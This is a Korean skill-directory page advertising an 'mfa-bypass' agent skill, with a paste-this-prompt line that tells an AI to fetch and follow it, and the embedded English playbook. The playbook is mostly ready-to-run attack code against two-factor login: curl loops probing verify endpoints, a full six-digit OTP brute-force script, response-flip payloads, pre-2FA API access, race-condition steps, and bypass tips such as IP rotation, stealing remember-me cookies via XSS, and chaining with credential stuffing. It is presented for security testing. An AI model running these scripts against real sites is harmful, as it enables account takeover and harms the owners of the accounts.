본문으로 건너뛰기
Skillpedia
보안6.5k · #14071

mfa-bypass

하는 일

이 스킬은 응답 변조, 약한 시도 제한, 두 번째 단계를 건너뛰는 재설정 흐름 등 2단계 인증이 실패하는 방식을 설명합니다. 보안 테스터를 위한 스킬입니다.

사용하는 경우

  • ✓사이트가 일회용 코드나 2단계 확인을 쓰고 이를 테스트하려는 경우.
  • ✓보안 검토에서 2단계 확인에 시도 제한이나 잠금이 있는지 물을 때.
  • ✓비밀번호 재설정이나 기기 기억 기능이 두 번째 인증을 건너뛸 수 있는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“로그인 페이지의 2단계 인증 코드를 여러 번 넣어 맞힐 수 있는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 두 번째 인증이 필요한 단계를 찾고, 잘못된 코드를 보내 제한이 적용되는지 확인하며, 재설정이나 기기 기억 같은 다른 흐름에서 검사가 건너뛰어지는지 살핍니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

MFA / 2FA Bypass Playbook

Logic flaws in the second factor are pure ATO. Common because devs ship the happy path (enter code → success) and forget the negative paths: response tampering, brute force, replay, race, alternate flows, remembered devices.

1. Detection — map the 2FA surface

Enumerate every flow that should require a second factor:

# 1. Inventory paths involved in step-up
for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \
         /account/email /account/password /password/reset /password/reset/confirm \
         /oauth/authorize /api/session /api/session/elevate /backup-codes; do
  curl -s -o /dev/null -w "%{http_code}  $p\n" "https://<TARGET>$p"
done

# 2. Submit a wrong OTP — what does the response look like?
curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \
  -H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \
  -d '{"code":"000000"}'

# 3. Rate-limit probe — burst 20 wrong codes
for i in $(seq 1 20); do
  printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
    "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
    -H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")"
done; echo
# If no 429 / lockout → brute force is open

2. Flaw matrix

Class Symptom Bypass
Response manipulation server returns {"success":false} but client trusts it intercept → flip to true
Status-code tamper 401 vs 200 only checked client-side rewrite 401 → 200 in proxy
Flag tamper mfa_required=true in JWT/JSON edit to false, resign / unsigned alg
No rate limit unlimited wrong OTPs 6-digit OTP = 10⁶ — brute over hours
Per-IP limit only limit on attacker IP, not on user rotate IPs / X-Forwarded-For
OTP reuse same code valid after use replay last code in a new session
OTP no expiry code from yesterday still works mine old SMS / email
Predictable OTP seeded by userid/timestamp precompute
Backup-code abuse unlimited tries, codes never expire / not invalidated brute backup codes endpoint
Race condition two requests in flight — both succeed parallel POSTs (HTTP/2 single-packet attack)
Missing 2FA on flow /login enforces, /api/login does not use alternate endpoint
Missing 2FA on password change password change re-enables full session reset → skip 2FA
Password reset skips 2FA reset token logs you in without 2FA abuse reset link
OAuth / SSO skips 2FA social login returns a fully-authed session login via Google instead
Remember-me cookie persistent cookie skips 2FA forever steal remember-me via XSS / log leak
Direct object access /api/account works on half-authed session call protected APIs pre-2FA
Enrollment race attacker enrolls own TOTP for victim before victim does hit /2fa/enroll first post-login
Recovery channel takeover SMS → SIM swap, email → email ATO downstream factor compromise

3. Exploit PoC

3.1 Brute-force a 6-digit OTP (no rate limit)

COOKIE='session=<HALF_AUTHED>'
for i in $(seq 0 999999); do
  CODE=$(printf '%06d' $i)
  CODE_LEN=${#CODE}
  RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
    "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
    -H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}")
  [ "$RES" = "200" ] && { echo "HIT: $CODE"; break; }
  (( i % 1000 == 0 )) && echo "tried $i ..."
done

3.2 Response-flip bypass

# Original server response
HTTP/1.1 200 OK
{"success":false,"mfa":"required"}

Rewrite at the proxy:

HTTP/1.1 200 OK
{"success":true,"mfa":"passed"}

If the SPA only inspects JSON to decide navigation, session cookie is already full-authed server-side and the redirect succeeds.

3.3 Direct post-2FA endpoint access

# Half-authed cookie after username+password, BEFORE OTP
curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>"
# If it returns full account data → broken step-up.

3.4 Race condition (HTTP/2 single-packet)

# Use Turbo Intruder "single-packet attack" — fire ~30 verify requests with the
# *correct* OTP in one TCP packet; servers that decrement attempts non-atomically
# accept multiple, and 2FA-disable mutations slip through.

4. Chains

  • MFA bypass → ATO is itself the chain endpoint. Pair with credential stuffing for scale.
  • Password reset skips 2FA → ATO
자주 묻는 질문

응답 변조는 무엇을 의미하나요?

성공 여부 같은 서버 응답을 바꿔서, 유효한 코드 없이도 앱이 다음 단계로 넘어가는지 보는 것입니다.

추측 횟수 제한도 테스트하나요?

네. 잘못된 코드를 연속으로 보내 제한이나 잠금이 나타나는지 확인합니다.

레이스 컨디션도 다루나요?

네. 이 스킬은 레이스 컨디션을 2단계 확인이 실패하는 방식 중 하나로 나열합니다.

상세 정보

작성자의 원본 설명

2FA / OTP logic flaws — response & status tampering, brute force, OTP reuse, backup-code abuse, race conditions, missing-2FA on flows, remember-me bypass, password-reset skips 2FA.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14071
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬